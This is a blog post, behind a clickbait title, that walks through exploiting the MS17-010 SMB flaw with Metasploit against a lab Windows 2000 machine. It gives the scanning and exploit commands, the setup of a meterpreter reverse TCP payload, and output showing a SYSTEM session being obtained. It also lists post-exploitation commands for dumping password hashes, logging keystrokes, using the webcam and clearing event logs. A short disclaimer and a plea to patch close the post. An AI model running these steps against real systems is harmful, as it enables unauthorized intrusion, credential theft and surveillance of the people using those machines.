Shock! A 16-Year-Old Boy Did This at Home!
Contents
Introduction in simple terms,
This boy actually did such a thing at home, shocking everyone!
Real Introduction
Haha, the above was fake. This blog post will reproduce the MS17-010 vulnerability attack.
What is MS17-010?
Do you remember the ransomware from 2017? The virus that encrypted all files on your computer if you didn’t pay up? That virus spread through this vulnerability.
- Here are some reference links about this vulnerability:
Attack Reproduction
Let’s reproduce the attack process for this vulnerability. Here, I recommend a Linux penetration testing software package called Metasploit. It comes pre-installed in penetration testing distributions. If you’re not using one, here’s how to install it:
- Arch-based
$ sudo pacman -S metasploit- Debian-based (if in repos)
$ sudo apt-get install metasploit- RPM-based or Debian-based (if not in repos)
$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall$ sudo chmod 755 msfinstall && ./msfinstall- Windows…
Two choices:
- Go to the MSF website and download it.
- Turn left and install Linux.
Reproduction Process
Attack Environment
| Attacker | Target | |
|---|---|---|
| OS | Arch Linux | Windows 2K |
| IP | 192.168.42.141 | 192.168.42.252 |
Target machine screenshot:
Attack Process
First, open a terminal on the attacker machine and type msfconsole:
$ sudo msfconsoleIt’s recommended to add sudo to avoid unknown errors.
After a moment, Metasploit will open.
Next, use the search command to find the MS17-010 module we need:
msf5 > search ms17_010A list will appear:
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal Yes MS17-010 SMB RCE Detection
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code ExecutionFirst, let’s check if the target has this vulnerability. Select the second detection module (index 1):
msf5 > use auxiliary/scanner/smb/smb_ms17_010Let’s check the module info:
msf5 auxiliary(scanner/smb/smb_ms17_010) > infoThis will show a lot of information:
Name: MS17-010 SMB RCE Detection
Module: auxiliary/scanner/smb/smb_ms17_010
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Sean Dillon <[email protected]>
Luke Jennings
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /opt/metasploit/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads
Description:
Uses information disclosure to determine if MS17-010 has been
patched or not. Specifically, it connects to the IPC$ tree and
attempts a transaction on FID 0. If the status returned is
"STATUS_INSUFF_SERVER_RESOURCES", the machine does not have the
MS17-010 patch. If the machine is missing the MS17-010 patch, the
module will check for an existing DoublePulsar (ring 0
shellcode/malware) infection. This module does not require valid SMB
credentials in default server configurations.From the Basic options, we can see we only need to set RHOSTS (the target IP), while RPORT (target port) is already set to 445.
Set the target IP and run:
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhost 192.168.42.252
msf5 auxiliary(scanner/smb/smb_ms17_010) > runResult:
[+] 192.168.42.252:445 - Host is likely VULNERABLE to MS17-010! - Windows 5.0 x86 (32-bit)
[*] 192.168.42.252:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
This confirms the target is vulnerable to MS17-010! Now let’s use the exploit module — the last one from the search results:
exploit/windows/smb/ms17_010_psexec
Switch to the exploit module:
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_psexecNow the prompt shows it’s the exploit module:
Let’s view the info:
msf5 exploit(windows/smb/ms17_010_psexec) > info Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Module: exploit/windows/smb/ms17_010_psexec
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2017-03-14
Provided by:
sleepya
zerosum0x0
Shadow Brokers
Equation Group
Available targets:
Id Name
-- ----
0 Automatic
1 PowerShell
2 Native upload
3 MOF upload
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to
NAMED_PIPES /opt/metasploit/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The Target port
SHARE ADMIN$ yes The share to connect to
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate asDon’t be intimidated by all this information. We just need to set four things:
- RHOSTS — target IP
- LHOST — our IP (listen IP)
- LPORT — listen port, any available port
- payload — attack payload, typically
windows/meterpreter/reverse_tcp
Set these parameters:
msf5 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.42.141msf5 exploit(windows/smb/ms17_010_psexec) > set LPORT 6666msf5 exploit(windows/smb/ms17_010_psexec) > set RHOST 192.168.42.252msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/reverse_tcpNow execute run or exploit — they’re the same:
msf5 exploit(windows/smb/ms17_010_psexec) > runIf everything works, you’ll see this output:
[*] Started reverse TCP handler on 192.168.42.141:6666
[*] 192.168.42.252:445 - Target OS: Windows 5.0
[*] 192.168.42.252:445 - Filling barrel with fish... done
[*] 192.168.42.252:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 192.168.42.252:445 - [*] Preparing dynamite...
[*] 192.168.42.252:445 - [*] Trying stick 1 (x86)...Boom!
[*] 192.168.42.252:445 - [+] Successfully Leaked Transaction!
[*] 192.168.42.252:445 - [+] Successfully caught Fish-in-a-barrel
[*] 192.168.42.252:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 192.168.42.252:445 - Reading from CONNECTION struct at: 0x81382010
[*] 192.168.42.252:445 - Built a write-what-where primitive...
[+] 192.168.42.252:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.42.252:445 - Selecting native target
[*] 192.168.42.252:445 - Uploading payload... JmgBrDpV.exe
[*] 192.168.42.252:445 - Created \JmgBrDpV.exe...
[+] 192.168.42.252:445 - Service started successfully...
[*] 192.168.42.252:445 - Deleting \JmgBrDpV.exe...
[*] Sending stage (179779 bytes) to 192.168.42.252
[*] Meterpreter session 1 opened (192.168.42.141:6666 -> 192.168.42.252:1027) at 2019-07-26 23:11:38 +0800
meterpreter >
Now you can do whatever you want. What you’re doing now is called post-exploitation, which is quite complex, so I won’t go into detail here.
At the very least, you can run:
meterpreter > helpTo see the help documentation. Here’s the meterpreter help output:
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
show_mount List all mount points/logical drives
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
resolve Resolve a set of host names on the target
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getsid Get the SID of the user that the server is running as
getuid Get the user that the server is running as
kill Terminate a process
localtime Displays the target system's local date and time
pgrep Filter processes by name
pkill Terminate processes by name
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyboard_send Send keystrokes
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
mouse Send mouse events
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM databaseThere’s a lot of output. The most commonly used commands are:
cd, ls, shell, cat
Most Linux users will already know these, so I won’t explain further.
Summary
First, this blog post is for testing purposes only. Do not use it for illegal activities.
Second, vulnerabilities like MS17-010 are extremely dangerous. Windows users must update their systems in a timely manner and install patches. Even better, use Linux for daily use and keep Windows only for entertainment.
This blog post also contains lots of fluff. Thanks for reading!